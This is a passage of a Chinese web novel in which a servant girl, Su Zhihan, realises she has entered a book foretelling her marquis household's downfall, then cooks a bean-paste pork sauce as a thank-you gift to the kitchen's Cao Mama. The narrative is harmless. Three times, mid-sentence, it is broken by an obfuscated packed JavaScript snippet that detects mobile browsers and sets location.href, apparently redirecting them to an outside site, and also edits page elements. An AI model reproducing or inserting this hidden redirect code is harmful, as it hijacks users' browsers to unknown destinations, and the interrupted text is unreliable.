蒋珍娘没看出女儿的心思，还在絮絮叨叨说着自己的见闻：“……往常我瞧着咱们候府便是顶顶的富贵，这回去了荣王府里才晓得，什么是天潢贵胄！为了荣王世子的大婚，不仅皇太后与皇后娘娘都遣人来操办，而且圣人都教礼部尚书送赏，那一屋子的人哦，都是阿娘听都没听过的大人物……” 话还没说完，蒋珍娘便听到噼里啪啦的脆响。她止住话头，低头瞧去，只见女儿面色大变，手上一松，原本抓着的铜钱瞬间洒在炕上，有的原地打了几个转儿，有的骨碌碌地滚到炕角，直往地面而去。 蒋珍娘一把抓住个快要掉下去的铜钱，蹙着眉稍瞅女儿：“寒姐儿，你这是怎么了？” 苏芷寒强笑了下，迟疑道：“我就是忽然想起了件事——咱们大姑娘的闺名是……是叫做朝阳来着？” “是啊。”蒋珍娘一口应下，而后震惊地瞅着女儿。她急急站起身来，先往外瞅了眼，而后把里外两扇门都紧紧合上，最后一边捡着洒落的铜钱，一边念叨着：“寒姐儿！都到候府两月有余，你怎么连大姑娘的名谓都不晓得？这传出去不得笑掉旁人的大牙！” “今儿个见时，婉翠姑娘还教我交代你，过两日府里就要给二姑娘选丫鬟……” 苏芷寒嘴里发苦，完全没注意蒋珍娘的话语。她自是知道府里主子们的名谓，可是她一个最底层的粗使丫鬟，进府两月都没与主子们打过照面，更不用说深入了解几人的喜好。 直到今日，得到大姑娘未来夫君是荣王世子的消息后，她才终于将这些有些耳熟的名字联系起来。 她不单单只是穿越到古代，而是穿书！ 更重要的是，按着书里的剧情，她身处的忠勇侯府还有三年便要因荣王府谋逆事发而被牵连倒台。 到时候—— 男丁皆被处斩，女眷多被流放。虽然书里仅仅只是一笔带过，然而那板凳倾倒，绫带飘飘，徒留一屋子孤魂野鬼的描述，已然足以让苏芷寒窥视到结局的凄惨。 相比主人家的结局，仆役婢女的结局稍稍好些——但也仅仅是稍稍好些罢了。 除了涉及案件者被一并处死之外，其余的男仆婢女，有的被没入教坊司，有的被官府当街售卖，去处各不相同。 而穿越以来的见闻，早已教苏芷寒清楚明白当下社会的残酷，根本不带一丝一毫的侥幸心理。 且不说按她原先预想准备进二姑娘院子做事，牵扯进来便是死路一条。即便没有牵扯进去保住一条命，也不知道会被官府发卖去何处。 光是想想，苏芷寒便冷汗直冒，口中泛苦。她和她娘好不容易逃出虎穴，怎么又进了狼巢？ 正当苏芷寒面白如纸，思绪乱作一团时，蒋珍娘也注意到女儿的不对劲，她止住话头，随手把铜钱丢进匣子里，扑上前扶住苏芷寒：“寒姐儿，寒姐儿！？” 3. 计划改变 “莫不是累着了？” “还是吃坏肚子，身子不舒服？” 蒋珍娘搂着脸色白惨惨的女儿，吓得六神无主，眼里都泛起泪花了。她整了整思绪，扶着苏芷寒靠在被褥上，搂着钱匣子就打算去寻府里的郎中。 不过她刚刚起身，苏芷寒便抬手攥住了她的袖角：“阿娘，我没事。” “瞧你脸白的，咋没事呢？” “我就是有些吓到了。”苏芷寒把事情藏在心底，短短时间内便整理好了思绪。她垂着脑袋，抱着蒋珍娘的手蹭了蹭：“明明阿娘叮嘱过我的，进了侯府以后做事处处都得想的仔细周道，谨慎小心，而我却是连主子的名谓和未来姑爷都记不清楚……” 苏芷寒越往后说，神色也越发严肃，背上不知不觉冒出一片冷汗来。在她的认知里，进了侯府便像是后世进了公司，身为底层小员工不知上级领导乃至老板的名字容貌也是正常。 而当下却是不同，奴婢的身家性命都掌握在主人家的手中，认不得便是犯错。 当下犯错的下人会是如何的结果？苏芷寒越想越是后怕，倒是庆幸自己被那赵婆子缠上，没来得及想法子进二姑娘的院子，否则惹出祸来都不知道。 苏芷寒想通诸事，原本的焦躁也一扫而空，冷静下来准备好好思考思考后面怎么做。 未曾想，她的话倒是让蒋珍娘愣了一愣。她扶着女儿的手微微一紧，等听到女儿吃痛的呼声后又急急忙忙松开手。 她捧着女儿脸颊的手微微用力，而后听到女儿的吃痛声。 “阿娘？”苏芷寒委屈。 “……”蒋珍娘忙松开手，用掌心揉了揉女儿泛红的脸颊，仔细端详着女儿的神色：“寒姐儿，你是不是还在怪娘，怪娘没与你商量，就带着你一道卖身进府？” “哪有，阿娘您真会多想。” “真的？”蒋珍娘端详着女儿的脸色，心里惴惴不安。 “真的，我又不傻。”苏芷寒确实不愿意卖身为奴，但她也晓得当时情况紧急。 苏家那些兄弟族老没一个是好的，在办苏父丧事时便总瞅着她和她娘窃窃私语，眼神不像是在看人，倒像是看两块猪肉一般，满眼垂涎欲滴，只差开口说出能卖多少钱了。 直到母女两个进了忠勇侯府，迟来一步的苏家人才罢休。最让苏芷寒震惊的是，而后苏家人又请人递信表示愿意帮忙去寻他们没有音讯的大哥，话里话外都是要她和她娘把赚得的月钱交给他们。 我们是女人，不是傻蛋：） 苏芷寒想起那些人的嘴脸，便很想吐槽一番。她看到蒋珍娘依旧一副将信将疑的样，又补充了一句：“我晓得的，娘是担心族叔把我们给卖了，这才抢先一步自行卖身进侯府的。” 蒋珍娘闻言，终是松了一口气。她紧紧握住女儿的手，眼眶泛红，说出了自己的心里话：“娘晓得你有本事，也曾想过要是咱们一家人好好的……然而这世道艰难，对咱们女人来说更是难上加难。” “你爹还在的时候，族人知道他是个无赖，又担心他问他们要钱故而不爱搭理咱们家，只把咱们家当笑话看。” 听蒋珍娘说起过去的事儿，苏芷寒有种仿若昨日的感觉。刚穿越来时她还做着计划，准备靠自己的手艺来个市井人家发家计，只是攒钱一步便艰辛无比。 这世道，往上爬的路少得可怜，倒是有无数双手在下面死死拽着，只想把人拖进污泥里。 蒋珍娘抚着女儿毛躁泛黄的头发，想起苏家人的嘴脸还是心中一哽：“等你爹死了，那些个人又变了一张嘴脸。” 生过孩子的妇人，‘行情’很好。 多的是生不出孩子的富户或者娶不起妻子的穷户会借由牙行购置租用生育过的妇人，等生下孩子后再次送回或转卖。 年岁较小的女孩，‘行情’也很好。 各处都有爱这个岁数的，卖去作奴婢或是妾室，又或是出价更高地儿更贱的都有。 待苏父死后，蒋珍娘便心生担忧，她父母已死，娘家无人，苏家族人又不是好相处的，难保有人起了别的心思。 而后头的发展也正如她所担忧的，要不是她早有防备，及时带着女儿连夜奔逃，恐怕母女两个早被分离，卖到何处都不晓得。 “寒姐儿，你哥这么多年都没消息，怕是……”蒋珍娘想起被衙役征走，三年来了无音讯的大儿，又是眼圈一红：“咱们家就只有咱们母女两个了，咱们都得好好的。” “你别怪娘狠心。” “咱们刚刚进来是苦了点，可你瞧瞧。”蒋珍娘打起精神，先是拍了拍钱匣子，接着又起身把放在炕角的竹制笼箱取来：“且不说苏家族老不敢再寻上门来，府里又是给咱们安置屋子，还有月钱赏赐，日子比外头要松快多了。” “闹，你看看。”蒋珍娘打开笼箱，取出两件一大一小的新袄子来：“天才刚刚凉了些，府里就给咱们发了新袄子。” 她小心翼翼地摊开其中一件袄子，展示给女儿看，这袄子是用细布做的，整体为薄青色的，袖角和衣襟则是藕粉色，上头还绣着小花，瞧着大小正是苏芷寒的：“你瞧瞧，好看吧？” “……真好看。”苏芷寒吃了一惊，之前阿娘给她量了身长尺寸，她还以为阿娘准备扯两匹布做两件衣裳，没想到竟是府里给她们统一做冬日用的袄子。 苏芷寒瞧着袄子的模样，又伸手捏了捏厚度，暗暗咋舌，就眼前的新袄子，估摸外面人想要买件全新的，起码得要两吊钱。 她如今还是个粗使呢！ 蒋珍娘瞧着女儿紧紧捧着袄子不撒手的欢喜模样，自己也忍不住捡起属于自己的那件袄子，轻轻地摸一摸，又紧紧地抱了抱。 光是这般抱在怀里，她便能感受到袄子热烘烘的，可想而知，等冬日来临时穿上它，定然是暖洋洋的。 蒋珍娘唏嘘道：“阿娘记得，去年，前年冬天时你就说想要件新袄子，只是娘一直没攒到钱，没办法给你做……没想到咱们刚进府里就能领到这般的好衣服。” 她说到这里，咂咂嘴，放轻了声音与女儿道：“等你进了二姑娘院里，那衣服还得重新再做过。” “阿娘去针线房领袄子时见过，那伺候娘子姑娘的丫鬟们，穿的都是细绸做的衣裳，那袄子也是细绸做的，上面还绣着葡萄纹样，真真是说不尽的漂亮。” “那一身的衣服，要从铺子里买的话怕是得几十贯钱吧？”蒋珍娘想着未来事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364603|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里满是期待。她挽着女儿的手，细细说着自个儿听来的八卦事儿：“我听人说徐妈妈他们都在外头置了房产，买了男仆婢女，在自家里也是被人换作娘子郎君的。” “待咱们攒下银钱，阿娘也给咱们寒姐儿买间院子，置两个仆妇婢子，好不好？” “好。”苏芷寒坐在蒋珍娘身侧，时不时应和上一声，心里却在苦恼着该如何把自己不打算进二姑娘院子的事告诉阿娘。 至于她打算攒钱赎身的事，一时半会更不能与阿娘说。毕竟对于刚刚摆脱好赌丈夫和刻薄族人的蒋珍娘而言，当下的侯府宛如她心中的桃花源，定然不会同意赎身出府的事儿，反倒会教阿娘心生警惕，不愿意或者不同意自己赚钱攒钱。 最为重要的是，赎身也需要钱财的。 且不说赎身首先要得到主家同意，其次赎身钱往往要比卖身钱高上数倍之多。 再者，她与阿娘卖身所得的银钱大多用于还债，身上仅留下三吊钱用以维持生活，加上刚进府里置办家具以及拿来孝敬管事等开销，苏芷寒盘算一番，估摸自家里顶多还剩下一吊钱。 苏芷寒垂着眼眸，安抚着自己，不要慌，不要急，她们还有三年的时间—— 苏芷寒思绪骤然一顿，抽了抽鼻子，惊道：“阿娘，我怎么好像闻到一股焦味……等等！” 蒋珍娘也立刻停住了话语。 母女二人相视一眼，神色大变，她们齐齐跳下炕：“菘菜炖猪肉！！！” 所幸两人抢救及时，菘菜炖猪肉除去底下几片猪肉黏着锅底，被煎得焦焦的之外，其余的肉片还是炖煮得十分不错。 饶是如此，蒋珍娘也心疼得够呛。她撩起袖子，一手拿筷，一手拿碗，小心翼翼地夹起猪肉来，嗅嗅气味，确定上头没染上糊味才长舒了口气，高高兴兴地盛进瓷碗里。 苏芷寒先翻出早上没吃完的馒头，与刚刚从灶房里带回来的烙馍一道搁在泥炉子上热着。紧接着她又望向一竹篮的鸡脂鸭脂，想起一件事来：“对了，阿娘。” “怎么了？” “今日大灶房的曹妈妈教了我做烙馍，我想过去道一道谢。” “曹妈妈……是那位为粗使做菜的曹妈妈？”蒋珍娘略略思考，便知晓女儿所说之人。 “没错。” “你刚刚进灶房，曹妈妈便愿意出手相助，可见其心善，这般的人物咱们得多多联系才是。”得到肯定回答的蒋珍娘连连点头，赶紧取来一个白瓷碗，满满盛上一碗菜。 “就是……”蒋珍娘看着孤零零的白瓷碗，颇为迟疑：“光是一碗菘菜炖猪肉显得忒小气了，要不明儿个阿娘去后头买些果子吃食，再去道谢？” 侯府富贵，连带着下人也富贵，吃的用的穿的比外头寻常富户都要好，哪瞧得上一碗菘菜炖猪肉。 “我们又不是送礼，就是道个谢，显显心意，隔日买糕点果子送去太过正式，倒是显得不够亲近。”苏芷寒摇摇头，不过她同样也觉得一碗菘菜炖猪肉实在少了点，又苦于家里日子紧巴巴的，实在没别的东西。 苏芷寒目光转了一圈，很快落在悬在横梁下，用剩下的半条猪肉。 忽地，她双眼一亮，登时有了主意。 4. 一碗炸酱 苏芷寒踮起脚尖，伸手去够吊在横梁上的猪肉。不过她身量偏短，即便连蹦带跳，却始终未都触碰到，耳朵还听到旁边传来一阵轻微的笑声。 苏芷寒的小脸腾地涨红：“阿娘！” 蒋珍娘忙敛起面上笑容，一本正经地走上前来，抬手帮女儿把猪肉取了下来，送进女儿的手中：“来，咱们寒姐儿要的猪肉。” “哼。”苏芷寒噘着嘴，不搭理蒋珍娘，自顾自拎着猪肉搁到案板上，再从角柜里拿出干黄酱、黄豆酱和豆瓣酱来。 这三样东西时下都属于最常见的调味品，价格与粗盐相似，家常用的一斗二三十文。 “好女儿，是阿娘错了。” “哼！”苏芷寒没那么小气，就是瞧着蒋珍娘赔礼道歉的模样好玩，被逗弄片刻便重新露出笑脸来。 她取了一勺清水净手，同时与蒋珍娘道：“阿娘，您去拔些小葱来。” 搬进下人院后，苏芷寒和蒋珍娘便注意到院子里的空地，便用几个竹筐装了土，种起了好种的蔬菜瓜果来。 虽说瓜果多只有幼苗，但小葱、薄荷、蘹香和荆芥等物已是种得有模有样，可以少量采摘使用了。 蒋珍娘连声应好，转身出去了。 等她揪着一把细葱回来时，苏芷寒已切好了猪肉，正把三种酱料倒进盆里，开始调配酱汁。 等酱料搅拌均匀，她接着往里倒入少许黄酒。苏芷寒没用筷子，也没用汤匙，而后用手轻轻搅拌酱汁，感受着酱汁的粘稠程度。 随着酱料澥开，紧接着苏芷寒又往里倒入少许酱油，到此酱汁便准备就绪。 “阿娘，你去把那小葱切成葱末罢。”苏芷寒回头吩咐蒋珍娘一句，而后先是热了锅子，再伸手从隔板上取下一个盛放葱油的陶罐，将葱油倒入锅中。 这葱油色泽金灿灿的，苏芷寒选了大葱、细葱、香葱和芫荽等物，炸制金黄焦脆后，才炼出这么一罐来，每每做菜做索饼时放上一勺，别提多香了。 随着温度上升，葱油那霸道的香味也渐渐溢散出来，教蒋珍娘不由自主地联想起早上吃的葱油拌索饼，唔，怪香的。 蒋珍娘偷偷咽了下口水，麻利地切完葱花，并推到女儿手边。 苏芷寒没急着放葱，先把猪肉块尽数倒入油锅内，紧接着她手持炒菜勺轻轻来回拨动着胖嘟嘟的肉块，瞧着猪肉在葱油里渐渐穿上金色的新衣，身形也渐渐缩小。 伴随着肉香的涌出，葱油也接连不断地发出噼啪脆响。浓郁的香味顺着窗户的缝隙往外钻，直教周遭的人家探头探脑：“哪来的香味？” “奶奶，我想吃香肉！” “谁家媳妇这么懒，这个点才开始做饭呐？”下人院里响起细碎的讨论声，又很快重回安静。 屋里，苏芷寒动作不停，耐心地搅拌着油锅，直把猪肉里带的水汽全部煸得干干净净，才把准备好的酱料倒入其中。 香料与葱油相遇的刹那间，锅内泛起金黄色的泡沫，酱香与葱香轰然窜起，瞬间诱人的味道充盈着整个屋子，不容抗拒地闯入蒋珍娘的鼻腔中。 她捡起木筷，歪靠在桌边，一双眼睛眨也不眨地盯着女儿的动作，同时夹起一片肥猪肉送入口中。 原本那油香四溢的猪肉入口，总是能让她沉浸其中无法自拔，可偏偏现在却毫无用处，反倒使她的食欲愈发浓烈了。 与蒋珍娘情况相似的，还有住在隔壁的王婆子一家。苏芷寒家虽说是单独的院儿，但与隔壁也仅隔着一堵墙罢了。 自打那阵阵香味不断涌来，王婆子的孙儿便对桌上的烧鹅青菜失去了兴趣。 他嗅着那股诱人的香味，吵嚷着要吃别的东西：“我都闻到味了，我就要吃香肉，要吃香肉！” “这烧鹅可是后头薛记家的，往日里你顶顶爱吃的，来，咱们吃一口好不好？” “不要不要！”王婆子的孙儿扭着身子，左躲右闪，挥舞的小手恰好把那盛饭的汤匙打落。 刹那间，整块的烧鹅和剩饭汤匙‘啪嗒’一声摔在地上，汤匙瞬间裂成两半。 王媳妇柳眉倒竖：“王大宝！” 王婆子看着掉在地上的汤匙和烧鹅，心疼不已。她把烧鹅捡起来，吹了吹灰，又重新放回盘子里。 “奶奶——” “哎，奶奶在。”王婆子舍不得说孙子，全赖媳妇没教好孩子：“你扯着嗓门做啥？吓着我孙儿咋办？” “娘，汤匙都碎了……” “不过是碎了个汤匙罢了，瞧你那小家子气的样！”王婆子瞪了媳妇一眼，转头对着孙子露出和蔼的笑容来：“大宝不哭不哭，奶奶这就让你娘去看看，瞧瞧是啥好吃的，明儿个就给你你，好不好？” 儿媳妇不愿也没法，气呼呼地掀帘出去了。片刻功夫，她又从外间转了回来，面上带着几分惊讶：“奇了怪了，好像是隔壁蒋家在做吃的。” “真的假的？那穷鬼家里能做出啥好吃的？”王婆子瞅了一眼儿媳妇，心中满是怀疑：“你甭是没出去看就随口说说，忽悠老婆子我吧？” “我哪敢胡说。” “让我瞅瞅。”王婆子坐起身来，一边趿拉着绣鞋往外走，一边小声嘀咕：“连酥胡桃都未曾见过的人，哪能做出啥东西。” 王婆子掀起门帘，走出门去，发现那股异香竟是比在屋里更浓郁许多，争先恐后地往鼻子里钻。她没忍住咽了下口水，抽动着鼻子嗅着来源，不多时便寻到了出处——还真是蒋珍娘家！ 跟着出来的王大宝见着，登时破涕为笑：“奶奶像是小狗！” “大宝，你胡说什么！” “真的！奶奶那样和小狗一模一样！”小娃娃还模仿王婆子的样，脖子往前伸，鼻子一抽一抽的，正面这一幕的王媳妇没忍住，噗嗤笑出声来。 她还没来得及捂住嘴，一只绣鞋便落在她的头上。王婆子脸黑如锅底：“笑什么笑！给你的胆儿！还不给我滚进去！” 王媳妇牵着儿子，灰溜溜的进屋去了，只留王婆子还在往蒋家屋子张望，想借机瞅瞅蒋珍娘他们在搞什么名堂。 只是大门紧锁，除去越发浓郁的味儿，她什么都没看到。 那边，苏芷寒抓起蒋珍娘切碎的葱末，一股脑儿全洒进锅里：“阿娘，葱末还不够，您再去弄点。” “哎呀……我总共就那点。”蒋珍娘下意识抱怨道。那葱苗长得是快，可架不住一共就这点地，这才稍稍养出来些，就被女儿薅了个干干净净。 她嘴里抱怨，动作却是一点不慢，忙出去捡了葱，然后一抬眸就见着鬼鬼祟祟的人影：“嗬！谁啊！？谁躲门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364604|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看东看西呐？” 王婆子没想到蒋娘子会突然出来，还恰好瞅见自己，急忙笑道：“蒋娘子，是我。” 蒋珍娘定睛一看，才松了一口气：“王妈妈？您在这里做什么？” 王婆子没脸说想来瞅瞅蒋珍娘做啥吃的，目光一瞥落在她手里的小葱上，顺口说道：“家里烧菜烧到一半，葱没了，想到你家借点来着……” “啊？”蒋珍娘懵了下，下意识递过去两根：“我屋里做菜正用着，能给的也不多。” 就一把小葱，还小气吧啦的。 王婆子心中鄙夷，脸上带笑接过两根细葱：“没事，没事，两根就够了……说起来你在做啥好吃的？咋这么好闻。” “就做两葱油饼子。” “……葱油饼？”王婆子还没来得及细问，就看到蒋珍娘扭身进了屋，把自家大门给牢牢锁上。 她心里怀疑，回到自家屋里还要摆出一副简简单单的架势。王婆子随手把两根葱丢灶台上，与孙子和媳妇说道：“不是啥好吃的，就是葱油饼子。” “葱油饼子？”王媳妇疑惑。 “借两根葱？”苏芷寒接过切碎的细葱，蹙着眉心又重复了一遍：“阿娘，您说王婆子，她问咱们家借两根葱？” 那王婆子，最是瞧不起自家。当初母女两个刚刚搬到空屋时，便是她率先过来搭话，还领着两人去后头街坊买了家常用的东西。 蒋珍娘起初还觉得她人怪好的呢，特意买了糕点感谢，后来才晓得王婆子是个顶顶爱嚼舌头的，转头便把自家日子窘迫的事传了开去。 往后日子，母女两个更是隔三差五遇见王婆子。她的套路都差不多，大体便是先询问蒋珍娘又或是下人院里几个日子过得不如意的婆子妇人日子如何，然后替他们唏嘘两句，紧接着话锋一转开始夸耀自家，或是吹嘘孙儿聪慧，或是炫耀儿子得郎君宠信，又或是说自夸得娘子宠爱，亦或是吹嘘自家吃的喝的用的…… 就她那样，能向自家借葱！？ 苏芷寒疑惑的同时，蒋珍娘也回过味来：“对哦？这王婆子平日恨不得把自己吹嘘成大管事，咋能跑来问我借葱？八成是闻着香气，想跑来偷看！” 苏芷寒把葱花往锅里倒入一部分，等翻拌均匀后再把剩余的葱花全数倒进去。 那葱香味一阵接着一阵，都快盖过肉香了。旁边王婆子闻着葱香，越发肯定，与儿媳妇和孙儿道：“瞧吧，我就说他们那穷酸户能有啥好的？怕是整了个葱油饼子配煎猪肉。” 王媳妇还将信将疑，不过看儿子王大宝没了兴趣，老实吃饭后也懒得管了，高高兴兴捧着饭碗和汤勺，一勺一勺喂儿子吃饭。 那边，苏芷寒也终于做好了炸酱，她单独盛出一碗，放到一旁。待稍稍凉点，蒋珍娘便把两碗菜都放进竹篮里：“寒姐儿，你是自己去？还是阿娘跟你一道去？” 苏芷寒道：“我自个儿去就行。” 蒋珍娘也没多说，一边叮嘱她要拎得稳当些，一边点了个灯笼给她，而后目送她出了门：“路上小心点，送了东西就回来，别在外头转悠。” “我晓得的，娘。”苏芷寒乖乖应了是，伸手接过竹篮。她提着灯笼出了门，侧首便看到了王婆子家，只见她家窗户底下摆着一排的筐子，里面细葱蒜头满满当当。 5. 好滋味 苏芷寒提着灯笼，沿着下人院的小路往前走上片刻，便来到曹妈妈家所在之地。 这片要比苏芷寒那块更靠近后门，也更要热闹些，苏芷寒远远瞥见四五名仆妇正聚在一起，一边往里看，一边叽叽咕咕说着话。 “几位妈妈，打搅了。” “哎呀。”那几名仆妇被吓了一跳，惊疑不定地看向苏芷寒。很快有人认出苏芷寒来，拿着汗巾子捂住嘴：“你是……蒋娘子家的寒姐儿？” “是。”苏芷寒笑着应声，“我是来寻曹妈妈的，请问曹妈妈家可就在前头？” “曹妈妈？哎！对对！”四五名仆妇或是交换着眼色，或是偷偷打量苏芷寒，表情很是古怪。 刚刚搭话的仆妇更是热情非常，一边示意众人让开路来，一边抬手指着前头挂着灯笼的人家：“闹，那就是曹姐姐家！” 苏芷寒顺着仆妇所指的方向看去，映入眼帘的是拎着擀面杖，正教训女儿的曹妈妈，登时一愣：“……” 她，来得不是时候？ 未等苏芷寒心生退意，旁边的仆妇已是迫不及待的开口：“曹姐姐！你瞧谁来了！” 曹妈妈闻声看来，瞧见苏芷寒时瞳孔震颤，难掩讶色。她刚刚正与丈夫女儿提起寒姐儿的事，借此敲打懒散的女儿，催促她早日去府里做事。 没曾想，竟是见着了当事人，教曹妈妈怪尴尬的。 同样感觉不妙的还有苏芷寒，她硬着头皮道：“曹妈妈。” 曹妈妈只当什么事都没发生，一边吩咐女儿进屋去，一边满脸笑容地迎上前：“寒姐儿怎么来了？快，快到里头坐。” 苏芷寒正想说话，抬眸恰好看到曹家女儿噘着嘴，一脸不高兴的模样。她微微一怔，再想外面那几名仆妇不怀好意的笑容，瞬间明白过来，恐怕曹妈妈刚才正好说到自己，说不定正拿自己当例子教育女儿。 苏芷寒心中郁闷，但脸上依然挂着笑容：“阿娘还在家里等我，不好进去做客，下回我再到妈妈这里与您说话。” 她双手把竹篮送到曹妈妈手里：“曹妈妈，今日您在灶房里帮了我，我带了些自家做的东西，您不嫌弃就请尝尝罢。” “你这孩子！这么客气做什么？往后你在灶房里做事，我有事也要麻烦你呢。”曹妈妈吃了一惊，下意识推辞道：“我知道你的心意，不过你家里情况不好，我哪能要你的东西，快拿回去罢！” “妈妈莫不是嫌东西少？”苏芷寒只说她进府里日子艰难，常遭人欺负，唯有曹妈妈才头回见面，便愿意帮忙：“我娘说的，滴水之恩当涌泉相报，而我只是拿了两道菜来……” “哎呀哎呀！瞧你这张嘴，我收，我收下！”曹妈妈听到苏芷寒说到这份上，哪里还好意思推脱，忙伸手接过竹篮来。 苏芷寒抿嘴一笑，又介绍了番，菘菜炖猪肉是蒋珍娘做的，那道炸酱肉则是她做的：“妈妈焯了索饼，或是备了米饭，把炸酱肉往上一浇，拌匀了便好吃了。” “好，我晓得了。”目送苏芷寒提着灯笼离开小院，曹妈妈才转身回了房里。她刚走进屋里，曹父牵着小儿走上前：“那个就是寒姐儿？” “对，就是那丫头。” “的确瞧着甚是机灵，年纪虽小但好生会说话。”曹父方才听了一耳朵，便知晓妻子为何这般着急。 采买来的婢女尚且如此能说会道，更何况府里那些自幼就被爹娘灌输前程的男仆婢女呢，各个都是人精。 年轻时没少吃亏的曹父，此时也开始思考妻子提出的想法，思忖着是该早些让大丫进府里做事。 “阿娘，阿娘，那人是送了什么来？”小儿踮起脚尖，好奇地瞧着竹篮：“会不会是糕点果子？要是东大胡同口上的糖人就好了！” “做梦呢！我听人说过那寒姐儿家，穷酸得紧，哪会去买什么糖人。”回屋里就躺在炕上的曹大丫哼了声，开口抱怨道：“八成是小葱拌豆腐，菘菜炒猪肉之类的便宜东西。” “大丫，你怎么说话呢？” “你不信就打开看看呗。”曹大丫坐起身来，伸手去接竹篮。 曹妈妈瞧着生气，避开女儿的手，把手里的竹篮搁在桌上。她刚想打开竹篮盖子，忽地想起一件事来：“你躺着做什么，还不赶紧去做饭！” 曹大丫表情一凝，连忙改口道：“都这个点了，等我做好得什么时候？而且人家都送了菜过来，咱们不得马上尝尝，明天阿娘您也有话好说嘛。” “大丫说得对。”曹父闻言，点了点头，乐呵呵地伸手掀开竹篮盖子：“我说咱们就……嗬！这是什么味儿？” 掀开盖子的瞬间，一股难以言喻的香味瞬间让曹父忘记原本要说的话，目光直直扎进竹篮里。 更别提曹妈妈、曹大丫和小儿了。 曹大丫看直了眼，等回过神来口水都要滴落下来。她忙扯出腰间系着的汗巾子，抹了抹嘴：“阿娘，原来灶房里有这么好吃的东西？你咋从没拿回家里，也没曾在家里做过！” 不会是背着他们，偷偷吃的吧？ 曹妈妈对上女儿狐疑的小眼神，瞬间气不打从一处来，她要晓得，还用得着大丫说？她早就回家来做了！ 偏偏她还不能在女儿跟前露怯，心中震惊归震惊，面上还是一派泰然自若：“你天天懒在家里，给你吃好食做什么？再吵往后你就日日吃小葱拌豆腐吧！” 说罢，曹妈妈又生起气来，拎起擀面杖吓唬曹大丫：“还不赶紧去热几碗饭来。” “知道了。”有了美食的诱惑，曹大丫的动作也麻利起来。不多时，她便热了四碗粳米饭，喜盈盈地端到桌上，伸长脖子直着眼，目不转睛地瞧着那碗黑漆漆的吃食。 曹妈妈心里想着苏芷寒的话，舀起一勺浇在米饭上，只见那焦褐色的酱汁直往粳米饭里渗去，把米饭染得油光发亮的，教人光是看着都食指大动，连吞口水。 “让我尝尝……”曹妈妈还有点矜持，拿着筷子夹起一小口炸酱米饭往嘴里送。 曹妈妈双眼一亮，连连扒了几口。 她的模样一落入曹父三人眼里，登时也教三人心中一动。不等妻子/娘亲开口描述味道，他们也纷纷捡起汤勺，舀起炸酱浇在米饭上，而后大口大口吃了起来。 切成小块的猪肉入口即化，胶质多的可以糊住嘴巴。浓厚的酱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364605|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汁紧紧包裹着每一粒米饭，流淌在唇齿之间，米香酱香和肉香交相辉映，此起彼伏，同时又和谐非常，教人欲罢不能。 三人根本停不下来，一口接着一口往嘴里送，一碗不够就再来一碗，直吃得肚子撑得不行才罢休。 曹大丫窝在榻上，心满意足地回味着嘴里的滋味。她抬眸看向曹妈妈，双眼亮晶晶的：“娘，我跟您一道去灶房吧！” 曹妈妈冷笑一声：“你不会是想到了灶房，就能日日吃到好食吧？” 曹大丫脸儿一红：“才，才没有！” 曹妈妈白了女儿一样，她是从自己肚子里钻出来的，自己能不晓得她的心思？曹妈妈刚想开口拒绝，可心思一转，又有了新的想法。 若是曹大丫进了灶房，自己也能日日盯着，保准她能老老实实学点手艺，不会像是去了旁处被人退回来。 曹妈妈这么一琢磨，登时心动了。 …… 苏芷寒从曹妈妈家回到家里时，天已经彻底黑了。她推门而入，瞧着蒋珍娘坐在泥炉子旁，借着火光绣着手里的鞋垫。 “阿娘，怎么不点油灯？” “能省点便省点嘛，这点火光也够我用的了。”蒋珍娘不以为然，把手上物件挪到一边，空出点地方。而后她又再次起身，把泥炉子上热着的东西端到桌上：“快吃吧。” “娘——”苏芷寒瞧着几乎没动过的两道菜，无奈道：“我刚不是与你说了，我在灶房已经用过了，这肉饼和饭菜都是教你吃的。” “灶房能用到多少？你现在正是长身体的时候。”蒋珍娘知道女儿心疼她，“好了好了，快吃吧。” “……我知道了，那阿娘一起吃。” “阿娘做完手上的东西就吃。”蒋珍娘咬断线头，催促道。 “阿——娘。” “好好好。”蒋珍娘听出女儿声音里的恼意，总算是放下了手上的物件，伸手接过饭碗。 “阿娘，那是打算送张妈妈的？” “嗯，对，张妈妈素来对阿娘很是照顾，我想做两双鞋子道道心意。”蒋珍娘攒了两个月的月钱，才凑齐了银钱，扯了一匹绢布，准备做两双鞋子。 她瞅了眼苏芷寒，见苏芷寒盯着绢布发呆后又道：“等娘再攒点钱，也给你做双绢布鞋子。” 苏芷寒点点头，又摇摇头：“不用绢布的，做棉布的就行……” 